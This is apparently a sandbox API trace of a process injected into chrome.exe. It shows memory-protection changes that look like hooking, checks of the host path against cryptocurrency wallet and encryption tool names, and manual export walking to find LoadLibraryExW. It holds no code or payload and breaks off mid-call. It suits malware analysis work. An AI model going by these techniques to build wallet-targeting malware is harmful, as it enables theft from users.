[0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.827] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.827] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.827] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.828] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.828] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.828] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0cc0 | out: hHeap=0x1ee0000) returned 1 [0070.828] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.829] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.829] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0cc0 [0070.829] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.829] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.829] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.829] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.829] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.829] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.829] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.829] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.829] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.830] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.830] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.830] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.830] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.830] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.830] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.830] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.830] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.830] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0d30 | out: hHeap=0x1ee0000) returned 1 [0070.830] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.830] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.830] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0d30 [0070.830] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.830] VirtualProtect (in: lpAddress=0x7fefebaf948, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.831] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.831] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.831] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.831] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.831] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.831] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.831] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.831] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.831] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.831] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.831] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.832] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.832] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.832] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.832] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.833] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.833] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.833] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.833] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.833] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.833] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.833] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.833] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.833] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.833] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.833] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.833] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.834] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.834] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.834] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.834] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ee0da0 [0070.834] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0da0 | out: hHeap=0x1ee0000) returned 1 [0070.834] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0070.834] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x208) returned 0x1ee0da0 [0070.834] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ee0da0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe")) returned 0x3b [0070.834] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrStrIW") returned 0x7fefd5cfb70 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="electrum-") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bitcoin") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="multibit-hd") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="bither") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="msigna.") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="Jaxx.") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="JEdudus.") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="armory-") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="veracrypt") returned 0x0 [0070.834] StrStrIW (lpFirst="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpSrch="truecrypt") returned 0x0 [0070.834] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0070.835] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0070.835] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dc010 [0070.835] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddAtomA", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddAtomW", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AllocConsole", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AreFileApisANSI", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="AttachConsole", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BackupRead", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BackupSeek", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BackupWrite", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="LoadLibraryExW") returned -1 [0070.835] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BuildCommDCBA", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="BuildCommDCBW", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CallNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CallNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelIo", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelIoEx", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0070.836] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ClearCommBreak", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ClearCommError", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpool", 